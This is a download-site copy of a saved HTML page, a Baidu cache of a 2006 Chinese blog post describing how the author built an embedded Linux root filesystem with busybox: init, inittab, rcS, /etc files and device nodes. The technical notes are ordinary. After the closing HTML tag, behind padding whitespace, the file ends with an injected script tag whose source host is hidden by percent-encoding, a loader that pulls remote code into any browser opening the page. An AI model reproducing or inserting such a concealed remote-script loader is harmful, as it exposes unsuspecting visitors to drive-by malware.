⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 嵌入式linux系统实验第二步--老鱼的爱琴海.htm

📁 S3C44B0X下的LCD (framebuffer)驱动资料与相关代码
💻 HTM
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0164)http://cache.baidu.com/c?word=busybox%2C%D6%B4%D0%D0%3B%BD%C5%B1%BE&url=http%3A//violinfish%2Ebokee%2Ecom/4759440%2Ehtml&p=807fc64ad6c61bff57ed97237f568b&user=baidu -->
<!--STATUS OK--><HTML><HEAD><TITLE>嵌入式linux系统实验第二步--老鱼的爱琴海</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<FORM action=http://www.baidu.com/s>
<META content="MSHTML 6.00.2900.3132" name=GENERATOR></HEAD>
<BODY>
<TABLE cellPadding=0 width="100%" bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD width=254><A href="http://www.baidu.com/"><IMG alt=到百度首页 
      src="嵌入式linux系统实验第二步--老鱼的爱琴海.files/logo-kz.gif" border=0></A></TD>
    <TD><FONT color=black size=-1><INPUT 
      style="FONT-SIZE: 16px; FONT-FAMILY: Verdana,Arial,Helvetica,sans-serif" 
      size=30 name=wd> <INPUT type=submit value=百度一下></FONT> </TD></TR>
  <TR>
    <TD colSpan=2><FONT color=black size=-1>您的查询字词都已标明如下:<B 
      style="COLOR: black; BACKGROUND-COLOR: #ffff66"><A 
      href="http://cache.baidu.com/c?word=busybox%2C%D6%B4%D0%D0%3B%BD%C5%B1%BE&amp;url=http%3A//violinfish%2Ebokee%2Ecom/4759440%2Ehtml&amp;p=807fc64ad6c61bff57ed97237f568b&amp;user=baidu#baidusnap0">busybox</A>&nbsp;</B><B 
      style="COLOR: black; BACKGROUND-COLOR: #a0ffff"><A 
      href="http://cache.baidu.com/c?word=busybox%2C%D6%B4%D0%D0%3B%BD%C5%B1%BE&amp;url=http%3A//violinfish%2Ebokee%2Ecom/4759440%2Ehtml&amp;p=807fc64ad6c61bff57ed97237f568b&amp;user=baidu#baidusnap1">执行</A>&nbsp;</B><B 
      style="COLOR: black; BACKGROUND-COLOR: #99ff99"><A 
      href="http://cache.baidu.com/c?word=busybox%2C%D6%B4%D0%D0%3B%BD%C5%B1%BE&amp;url=http%3A//violinfish%2Ebokee%2Ecom/4759440%2Ehtml&amp;p=807fc64ad6c61bff57ed97237f568b&amp;user=baidu#baidusnap2">脚本</A>&nbsp;</B> 
      (点击查询词,可以跳到它在文中首次出现的位置) <BR>如果打开速度慢,您可以尝试打开<A 
      href="http://cache.baidu.com/c?word=busybox%2C%D6%B4%D0%D0%3B%BD%C5%B1%BE&amp;url=http%3A//violinfish%2Ebokee%2Ecom/4759440%2Ehtml&amp;p=807fc64ad6c61bff57ed97237f568b&amp;user=baidu&amp;im=0"><FONT 
      style="TEXT-DECORATION: underline" color=blue>无图片的快照</FONT></A>; 
      如果您想保存该页面,可以<A 
      onclick="window.open('http://cang.baidu.com/do/add?it='+encodeURIComponent(document.title)+'&amp;iu='+encodeURIComponent(location.href)+'&amp;fr=ps#nw=1','_s','scrollbars=no,width=600,height=450,right=75,top=20,status=no,resizable=yes'); return false;" 
      href="http://cang.baidu.com/do/add" target=_blank><FONT 
      style="TEXT-DECORATION: underline" color=blue>添加到搜藏</FONT></A><BR><FONT 
      color=gray>(百度和网页<A href="http://violinfish.bokee.com/4759440.html"><FONT 
      color=blue>http://violinfish.bokee.com/4759440.html</FONT></A>的作者无关,不对其内容负责。百度快照谨为网络故障时之索引,不代表被搜索网站的即时页面。)</FONT></FONT> 
    </TD></TR></TBODY></TABLE></FORM>
<HR>

<META http-equiv=Pragma content=no-cache>
<META http-equiv=Cache-Control content=no-cache>
<META http-equiv=Expires content=0>
<META 
content="06.03.28嵌入式linux系统实验第二步写了这么久BLOG今天才算明白RSS/XML的用处,汗  博客 博客中国 博客动力 blog blogdriver blogger 中国" 
name=description>
<META 
content="老鱼的爱琴海 06.03.28嵌入式linux系统实验第二步写了这么久BLOG今天才算明白RSS/XML的用处,汗 博客 博客中国 博客动力 blog blogdriver blogger 中国" 
name=keywords><LINK href="嵌入式linux系统实验第二步--老鱼的爱琴海.files/diary.css" type=text/css 
rel=stylesheet>
<DIV id=container>
<DIV id=header>
<H1 class=title><A 
href="http://violinfish.bokee.com/index.html">老鱼的爱琴海</A></H1></DIV>
<DIV id=category><A title=上一篇 
href="http://violinfish.bokee.com/4759350.html">06.03.28</A>- -| <A 
href="http://violinfish.bokee.com/index.html">回首页</A> | <A 
href="http://violinfish.bokee.com/catalog_2006.html">2006年索引</A> | - -<A 
title=下一篇 
href="http://violinfish.bokee.com/4766231.html">写了这么久BLOG今天才算明白RSS/XML的用处,汗</A></DIV>
<DIV class=entity>
<H2 
class=diaryTitle>嵌入式linux系统实验第二步</H2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 

<P>
<P>第一部分我完成了核心裁减并引导装载。因为没有启动必须的init程序,所以启动停留在kernel 
panic状态。第二部分的任务是完成init进程,制作必要的系统文件和配置<A name=baidusnap2></A><B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>。</P>
<P>核心装载后<A name=baidusnap1></A><B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>/bin/init,根据/etc/inittab配置<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>,初始化系统环境。inittab决定系统启动后默认的runlevel 
X。根据对应的/etc/rcX.d/下的控制<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>,调用/etc/init.d/下的初始化命令,从而初始化系统进入相应的runlevel。这是system 
V风格的启动过程。根据这个思路我来搭建初始化必要的环境。</P>
<P>首先把必要的系统程序拷过来,因为我用的是<A name=baidusnap0></A><B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>,make_install编译后自动生成了所需的/bin 
/sbin目录,符号连接也做好了。mount目标硬盘到/mnt/ros,把<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>/_install/下的东西全部cp 
-R到/mnt/ros/。我就有了init,ls,ifconfig等重要程序的功能。</P>
<P>然后完善根文件系统,mkdir proc etc usr var tmp dev 等重要目录。cp 
-R把/dev/下需要的设备文件拷过来。必须的hda,hda1, tty ,tty1 ,null, console等。chmod修改各目录权限。</P>
<P>然后是配置文件,我采用<B style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>,<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>默认只有一个运行级别,大概相当于单用户模式,初始化<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>只有一个,/etc/init.d/rcS,并且inittab语法也和标准sys 
V系统有小差别。没有空细研究,直接把<B 
style="COLOR: black; BACKGROUND-COLOR: #ffff66">busybox</B>/sample/bootfloppy/etc下的模版文件拷过来修改使用。</P>
<P>rc初始化以后要re-mount驱动器,要把/etc/fstab,mtab这些做上去,语法不难了,照搬。</P>
<P>然后getty进行登录,要把etc/group, passwd, 
shadow,shadow-,motd,issud这些文件做上去,办法是从母系统直接拷过去修改。</P>
<P>登陆后就进了/bin/ash的shell下。所以最后我要配一些etc/.profile这样的环境变量配置文件。</P>
<P>完成后将硬盘挂上目标机,启动,耶,可爱的$ shell提示符出现了,但我发现文件系统的mount方式还是ro,也没有login过程,说明初始化<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>有问题,可能是我忘记把<B 
style="COLOR: black; BACKGROUND-COLOR: #99ff99">脚本</B>chmod成可<B 
style="COLOR: black; BACKGROUND-COLOR: #a0ffff">执行</B>。待下一步解决。</P>
<P></P>
<P class=diaryFoot>【作者: <A 
onclick="window.open('http://publishblog.blogchina.com/blog/postMessage.b?receiver=1344775','发送短消息','width=520, height=455')" 
href="javascript:void(0);">老鱼</A>】【访问统计:】【2006年03月29日 星期三 03:10】【 <A 
href="javascript:void(keyit=window.open('http://blogmark.blogchina.com/jsp/key/quickaddkey.jsp?k='+encodeURI('嵌入式linux系统实验第二步')+'&amp;u='+encodeURI('http://violinfish.blogchina.com/violinfish/4759440.html')+'&amp;c='+encodeURI(''),'keyit','scrollbars=no,width=500,height=430,status=no,resizable=yes'));keyit.focus();">加入博采</A>】【<A 
href="javascript:window.print();">打印</A>】 </TD></P></DIV>
<DIV class=operation><A name=trackback>
<H3>Trackback</H3></A>
<P class=trackback>你可以使用这个链接引用该篇文章 
http://publishblog.blogchina.com/blog/tb.b?diaryID=4759440 </P></DIV>
<DIV class=operation><A name=relatedDiary>
<H3>博客手拉手</H3></A>
<TABLE>
  <TBODY></TBODY></TABLE></DIV>
<DIV class=operation><A name=comment>
<H3>回复</H3></A>
<TABLE cellSpacing=0 cellPadding=0 width=700 border=0>
  <TBODY></TBODY></TABLE></DIV>
<DIV class=operation>
<TABLE class=comment cellSpacing=0 cellPadding=0 width=700 border=0>
  <FORM id=replyForm method=post><INPUT type=hidden value=1344699 name=blogID> 
  <INPUT type=hidden value=4759440 name=diaryID> <INPUT type=hidden 
  value=violinfish name=blogDomino> 
  <TBODY>
  <TR>
    <TD width=70>验证码:</TD>
    <TD><INPUT class=inputStyle maxLength=4 name=validateCode></TD>
    <TD>&nbsp;&nbsp;<IMG 
      src="嵌入式linux系统实验第二步--老鱼的爱琴海.files/getValidateImg.jpg" border=0></TD></TR>
  <TR align=left>
    <TD colSpan=4>评论内容:<BR><TEXTAREA class=textStyle id=remark name=remark.remarkFUI rows=8 cols=60>          </TEXTAREA> 
    </TD></TR>
  <TR align=left>
    <TD colSpan=4>              <INPUT onclick=reply() type=button value=提交>   
<INPUT type=reset value=重置> </TD></TR></FORM></TBODY></TABLE></DIV></DIV>
<DIV id=footer><A href="http://blog.bokee.com/">2003-2004 BOKEE.COM All rights 
reserved</A><BR><A href="http://www.blogdriver.com/">Powered by BlogDriver 
2.1</A> </DIV></BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -